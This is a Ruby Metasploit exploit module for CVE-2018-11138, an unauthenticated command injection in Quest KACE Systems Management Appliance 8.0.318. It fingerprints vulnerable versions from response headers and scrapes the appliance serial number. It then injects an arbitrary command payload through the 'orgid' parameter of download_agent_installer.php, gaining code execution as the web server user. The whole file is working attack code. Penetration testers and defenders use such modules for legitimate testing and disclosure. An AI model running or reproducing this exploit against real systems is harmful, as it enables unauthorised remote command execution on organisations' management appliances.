##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Quest KACE Systems Management Command Injection',
      'Description'    => %q{
        This module exploits a command injection vulnerability in Quest KACE
        Systems Management Appliance version 8.0.318 (and possibly prior).

        The `download_agent_installer.php` file allows unauthenticated users
        to execute arbitrary commands as the web server user `www`.

        A valid Organization ID is required. The default value is `1`.

        A valid Windows agent version number must also be provided. If file
        sharing is enabled, the agent versions are available within the
        `\\kace.local\client\agent_provisioning\windows_platform` Samba share.
        Additionally, various agent versions are listed on the KACE website.

        This module has been tested successfully on Quest KACE Systems
        Management Appliance K1000 version 8.0 (Build 8.0.318).
      },
      'License'        => MSF_LICENSE,
      'Privileged'     => false,
      'Platform'       => 'unix', # FreeBSD
      'Arch'           => ARCH_CMD,
      'DisclosureDate' => 'May 31 2018',
      'Author'         =>
        [
          'Leandro Barragan', # Discovery and PoC
          'Guido Leo',        # Discovery and PoC
          'Brendan Coles',    # Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2018-11138'],
          ['URL', 'https://support.quest.com/product-notification/noti-00000134'],
          ['URL', 'https://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities']
        ],
      'Payload'        =>
        {
          'Space'       => 1024,
          'BadChars'    => "\x00\x27",
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl'
            }
        },
      'Targets'        => [['Automatic', {}]],
      'DefaultTarget'  => 0))
    register_options [
      OptString.new('SERIAL',        [false, 'Serial number', '']),
      OptString.new('ORGANIZATION',  [true, 'Organization ID', '1']),
      OptString.new('AGENT_VERSION', [true, 'Windows agent version', '8.0.152'])
    ]
  end

  def check
    res = send_request_cgi('uri' => normalize_uri('common', 'download_agent_installer.php'))
    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 302 && res.headers.to_s.include?('X-KACE-Appliance')
      vprint_status 'Remote host is not a Quest KACE appliance'
      return CheckCode::Safe
    end

    unless res.headers['X-KACE-Version'] =~ /\A([0-9]+)\.([0-9]+)\.([0-9]+)\z/
      vprint_error 'Could not determine KACE appliance version'
      return CheckCode::Detected
    end

    version = Gem::Version.new res.headers['X-KACE-Version'].to_s
    vprint_status "Found KACE appliance version #{version}"

    # Patched versions : https://support.quest.com/product-notification/noti-00000134
    if version < Gem::Version.new('7.0') ||
       (version >= Gem::Version.new('7.0') && version < Gem::Version.new('7.0.121307')) ||
       (version >= Gem::Version.new('7.1') && version < Gem::Version.new('7.1.150')) ||
       (version >= Gem::Version.new('7.2') && version < Gem::Version.new('7.2.103')) ||
       (version >= Gem::Version.new('8.0') && version < Gem::Version.new('8.0.320')) ||
       (version >= Gem::Version.new('8.1') && version < Gem::Version.new('8.1.108'))
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def serial_number
    return datastore['SERIAL'] unless datastore['SERIAL'].to_s.eql? ''

    res = send_request_cgi('uri' => normalize_uri('common', 'about.php'))
    return unless res

    res.body.scan(/Serial Number: ([A-F0-9]+)/).flatten.first
  end

  def exploit
    check_code = check
    unless [CheckCode::Appears, CheckCode::Detected].include? check_code
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    serial = serial_number
    if serial.to_s.eql? ''
      print_error 'Could not retrieve appliance serial number. Try specifying a SERIAL.'
      return
    end
    vprint_status "Using serial number: #{serial}"

    print_status "Sending payload (#{payload.encoded.length} bytes)"

    vars_get = Hash[{
      'platform' => 'windows',
      'serv'     => Digest::SHA256.hexdigest(serial),
      'orgid'    => "#{datastore['ORGANIZATION']}#; #{payload.encoded} ",
      'version'  => datastore['AGENT_VERSION']
    }.to_a.shuffle]

    res = send_request_cgi({
      'uri'      => normalize_uri('common', 'download_agent_installer.php'),
      'vars_get' => vars_get
    }, 10)

    unless res
      fail_with Failure::Unreachable, 'Connection failed'
    end

    unless res.headers.to_s.include?('KACE') || res.headers.to_s.include?('KBOX')
      fail_with Failure::UnexpectedReply, 'Unexpected reply'
    end

    case res.code
    when 200
      print_good 'Payload executed successfully'
    when 404
      fail_with Failure::BadConfig, 'The specified AGENT_VERSION is not valid for the specified ORGANIZATION'
    when 302
      if res.headers['location'].include? 'error.php'
        fail_with Failure::UnexpectedReply, 'Server encountered an error'
      end
      fail_with Failure::BadConfig, 'The specified SERIAL is incorrect'
    else
      print_error 'Unexpected reply'
    end

    register_dir_for_cleanup "/tmp/agentprov/#{datastore['ORGANIZATION']}#;/"
  end
end